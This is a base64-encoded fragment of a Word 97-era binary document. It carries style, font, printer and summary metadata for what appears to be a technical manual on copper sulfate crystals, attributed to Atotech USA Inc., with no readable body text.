AQABAAIAWgAAAAkASABlAGEAZABpAG4AZwAgADEAAAAoAAEABiQBQCYADcYdAAlAAk4D4Afo Dvoayh2aIGojOiYAAAAAAAAAAAAOADUIgUIqAU9KAgBRSgIAWgACQAEAAgBaAAAACQBIAGUA YQBkAGkAbgBnACAAMgAAACoAAgADJAMGJAEOhCQAD4QOAUAmAQ3GFAAGDgGEA/gcyB+YImgl AAAAAAAACwA1CIFPSgIAUUoCAABuAANAAQACAG4AAAAJAEgAZQBhAGQAaQBuAGcAIAAzAAAA OgADAAYkAUAmAg3GLwAPAABYBXgGSAkYDOgOuBGIFFgXKBr4HMgf1iCYImglAAAAAAAAAAAA AAAAAAAADwA1CIFDShYAT0oCAFFKAgAAAAAAAAAAAAAAAAAAPABBQPL/oQA8AAAAFgBEAGUA ZgBhAHUAbAB0ACAAUABhAHIAYQBnAHIAYQBwAGgAIABGAG8AbgB0AAAAAAAAAAAAAAAAADQA JkDy//EANAAAABIARgBvAG8AdABuAG8AdABlACAAUgBlAGYAZQByAGUAbgBjAGUAAAAAACwA H0ABAAIBLAAAAAYASABlAGEAZABlAHIAAAANABAADcYIAALgEMAhAQIAAAAsACAAAQASASwA AAAGAEYAbwBvAHQAZQByAAAADQARAA3GCAAC4BDAIQECAAAASABCAAEAIgFIAAAACQBCAG8A ZAB5ACAAVABlAHgAdAAAABMAEgADJAMNxgsAA/gByAR4BgAAAAAPAEIqAUNKFgBPSgIAUUoC AAAAAAAABgMAABsLAAAEAAAoAAAAAP////8EADQoAAAAAP////8AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACsAAAArAAAAKwAAACsA AAArAAAALgAAAAAEAAAVCAAAGw8AAAoAAAARAAAAAAQAAFgEAADIBQAA1AYAABQIAACQDgAA Gw8AAAsAAAANAAAADgAAAA8AAAAQAAAAEgAAAAAEAAAWDwAAGw8AAAwAAAATAAAAHQAAACMA AAAlAAAALgAAABMhlP+VgP//AgAAAAkAUQB1AGkAYwBrAE0AYQByAGsAAgBhADIAAAAAAC0A AAAcCwAAAAAAAAEAAAAAAAAANAAAABwLAAAAAAAA7goAABkLAAAcCwAABwAHAAIAAAAAANsK AADhCgAA7goAABkLAAAcCwAABwAaAAcABwACAP//FAAAAAkAVABvAG0AIABNAGEAbABhAGsA JgBDADoAXABNAGEAbgB1AGEAbABzACAALQAgAE0AUwAgAFcAbwByAGQAXABDAHUAUwBPADQA IABDAHIAeQBzAHQAYQBsAC4AZABvAGMACQBUAG8AbQAgAE0AYQBsAGEAawAvAEMAOgBcAE0A YQBuAHUAYQBsAHMAIAAtACAATQBTACAAVwBvAHIAZABcAEMAbwBwAHAAZQByACAAUwB1AGwA ZgBhAHQAZQAgAEMAcgB5AHMAdABhAGwALgBkAG8AYwAJAFQAbwBtACAATQBhAGwAYQBrAD4A QwA6AFwATQBhAG4AdQBhAGwAcwAgAC0AIABNAFMAIABXAG8AcgBkAFwARgBpAG4AYQBsACAA VgBlAHIAcwBpAG8AbgBzAFwAQwBvAHAAcABlAHIAIABTAHUAbABmAGEAdABlACAAQwByAHkA cwB0AGEAbAAuAGQAbwBjAAkAVABvAG0AIABNAGEAbABhAGsAOABDADoAXABNAGEAbgB1AGEA bABzACAALQAgAE0AUwAgAFcAbwByAGQAXABDAG8AbQBwAGwAZQB0AGUAXABDAG8AcABwAGUA cgAgAFMAdQBsAGYAYQB0AGUAIABDAHIAeQBzAHQAYQBsAC4AZABvAGMACQBUAG8AbQAgAE0A YQBsAGEAawA4AEMAOgBcAE0AYQBuAHUAYQBsAHMAIAAtACAATQBTACAAVwBvAHIAZABcAEMA bwBtAHAAbABlAHQAZQBcAEMAbwBwAHAAZQByACAAUwB1AGwAZgBhAHQAZQAgAEMAcgB5AHMA dABhAGwALgBkAG8AYwAJAFQAbwBtACAATQBhAGwAYQBrADgAQwA6AFwATQBhAG4AdQBhAGwA cwAgAC0AIABNAFMAIABXAG8AcgBkAFwAQwBvAG0AcABsAGUAdABlAFwAQwBvAHAAcABlAHIA IABTAHUAbABmAGEAdABlACAAQwByAHkAcwB0AGEAbAAuAGQAbwBjAAkAVABvAG0AIABNAGEA bABhAGsAOABDADoAXABNAGEAbgB1AGEAbABzACAALQAgAE0AUwAgAFcAbwByAGQAXABDAG8A bQBwAGwAZQB0AGUAXABDAG8AcABwAGUAcgAgAFMAdQBsAGYAYQB0AGUAIABDAHIAeQBzAHQA YQBsAC4AZABvAGMACQBUAG8AbQAgAE0AYQBsAGEAawA4AEMAOgBcAE0AYQBuAHUAYQBsAHMA IAAtACAATQBTACAAVwBvAHIAZABcAEMAbwBtAHAAbABlAHQAZQBcAEMAbwBwAHAAZQByACAA UwB1AGwAZgBhAHQAZQAgAEMAcgB5AHMAdABhAGwALgBkAG8AYwAJAFQAbwBtACAATQBhAGwA YQBrADgAQwA6AFwATQBhAG4AdQBhAGwAcwAgAC0AIABNAFMAIABXAG8AcgBkAFwAQwBvAG0A cABsAGUAdABlAFwAQwBvAHAAcABlAHIAIABTAHUAbABmAGEAdABlACAAQwByAHkAcwB0AGEA bAAuAGQAbwBjAAkAVABvAG0AIABNAGEAbABhAGsAOABDADoAXABNAGEAbgB1AGEAbABzACAA LQAgAE0AUwAgAFcAbwByAGQAXABDAG8AbQBwAGwAZQB0AGUAXABDAG8AcABwAGUAcgAgAFMA dQBsAGYAYQB0AGUAIABDAHIAeQBzAHQAYQBsAC4AZABvAGMA/0BIUCBMYXNlckpldCBJSUkA XFxSSFNFUlZFUlxRX1RFQ0hTVVBQAEhQUENMNU1TAEhQIExhc2VySmV0IElJSQBIUCBMYXNl ckpldCBJSUkAAAAAAAAAAAAAAAAAAAAAAAAEAQSUAEAAA2cABAEAAQAAAAAAAAABAAEALAEB AAEALAECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAQBAAE1TVURPA0hQIExhc2VySmV0 IElJSQAAAAAAAAAAAAAAAAAAAAAAgAEAAAAAAAAAAAAAAAAAAGQACgAAAEhQIExhc2VySmV0 IElJSQAAAAAAAAAAAAAAAAAAAAAAAAQBBJQAQAADZwAEAQABAAAAAAAAAAEAAQAsAQEAAQAs AQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAABAEAATVNVRE8DSFAgTGFzZXJKZXQgSUlJ AAAAAAAAAAAAAAAAAAAAAACAAQAAAAAAAAAAAAAAAAAAZAAKAAAAA4ABAAAAAAAAAAAAuBgA AQEANAEAAAAAAAAAAAAAAAAAAAAAAhAAAAAAAAAAGwsAAEAAAAgAQAAABQAAAEcWkAEAAAIC BgMFBAUCAwQDAAAAAAAAAAAAAAAAAAAAAQAAAAAAAABUAGkAbQBlAHMAIABOAGUAdwAgAFIA bwBtAGEAbgAAADUWkAECAAUFAQIBBwYCBQcAAAAAAAAAEAAAAAAAAAAAAAAAgAAAAABTAHkA bQBiAG8AbAAAADMmkAEAAAILBgQCAgICAgQDAAAAAAAAAAAAAAAAAAAAAQAAAAAAAABBAHIA aQBhAGwAAAA3MZABAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAQwBvAHUA cgBpAGUAcgAAAFMGkAECAAUBAQEBAQEBAQEAAAAAAAAAEAAAAAAAAAAAAAAAgAAAAABXAFAA IABUAHkAcABvAGcAcgBhAHAAaABpAGMAUwB5AG0AYgBvAGwAcwAAACIABADBAIgYCQLQAgAA aAEAAAAAouJCJqLiQiYAAAAAAgAAAAAAlAEAAAMJAAABAAQAAAAEAAMAEwAAAAAAAAAAAAAA AQABAAAAAQAAAAAAAABZAgkCgNEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMgAAABAAGQBkAAAAGQAAABELAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //8SAAAAAAAAAAUAUwBoAGUAZQB0AAAAAAAAAAkAVABvAG0AIABNAGEAbABhAGsACQBUAG8A bQAgAE0AYQBsAGEAawAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAQAAgAAAAAAAAAAAAAAAAAAAAAAAQAAAOCF n/L5T2gQq5EIACsns9kwAAAAXAEAABAAAAABAAAAiAAAAAIAAACQAAAAAwAAAKAAAAAEAAAA rAAAAAUAAADAAAAABwAAAMwAAAAIAAAA3AAAAAkAAADwAAAAEgAAAPwAAAAKAAAAGAEAAAwA AAAkAQAADQAAADABAAAOAAAAPAEAAA8AAABEAQAAEAAAAEwBAAATAAAAVAEAAAIAAADkBAAA HgAAAAYAAABTaGVldABmAB4AAAABAAAAAGhlZR4AAAAKAAAAVG9tIE1hbGFrACAAHgAAAAEA AAAAb20gHgAAAAcAAABOb3JtYWwAYR4AAAAKAAAAVG9tIE1hbGFrACAAHgAAAAIAAAAyAG0g HgAAABMAAABNaWNyb3NvZnQgV29yZCA4LjAAAEAAAAAAAAAAAAAAAEAAAAAAJNQ7AYK/AUAA AAAAJNQ7AYK/AQMAAAABAAAAAwAAAJQBAAADAAAAAwkAAAMAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP7/AAAEAAIAAAAAAAAAAAAAAAAAAAAAAAIAAAAC1c3VnC4bEJOX CAArLPmuRAAAAAXVzdWcLhsQk5cIACss+a5AAQAA/AAAAAwAAAABAAAAaAAAAA8AAABwAAAA BQAAAIwAAAAGAAAAlAAAABEAAACcAAAAFwAAAKQAAAALAAAArAAAABAAAAC0AAAAEwAAALwA AAAWAAAAxAAAAA0AAADMAAAADAAAAN4AAAACAAAA5AQAAB4AAAARAAAAQXRvdGVjaCBVU0Eg SW5jLgAAQQADAAAAEwAAAAMAAAAEAAAAAwAAABELAAADAAAAMRUIAAsAAAAAAAAACwAAAAAA AAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAAGAAAAU2hlZXQADBAAAAIAAAAeAAAABgAAAFRp dGxlAAMAAAABAAAAmAAAAAMAAAAAAAAAIAAAAAEAAAA2AAAAAgAAAD4AAAABAAAAAgAAAAoA AABfUElEX0dVSUQAAgAAAOQEAABBAAAATgAAAHsARQA2AEQANwA1ADQAMgAwAC0AMQA3AEYA QQAtADEAMQBEADIALQBCADkAOQBEAC0AMAAwADAANgAyADkAQQBBADcAQQBEADQAfQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 